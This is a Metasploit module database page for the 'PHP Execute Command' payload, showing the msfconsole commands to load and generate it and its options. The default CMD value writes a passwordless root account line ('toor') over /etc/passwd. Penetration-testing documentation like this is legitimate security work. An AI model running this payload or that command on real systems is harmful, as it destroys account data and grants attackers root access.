PHP Execute Command | Metasploit Exploit Database (DB)

PHP Execute Command

Execute a single system command

Search Other Modules


Rank

  • Normal

Authors

  • egypt < egypt [at] metasploit.com >

Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use payload/php/exec
msf payload(exec) > generate


Module Options

CMD The command string to execute (default: echo "toor::0:0:::/bin/bash">/etc/passwd)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module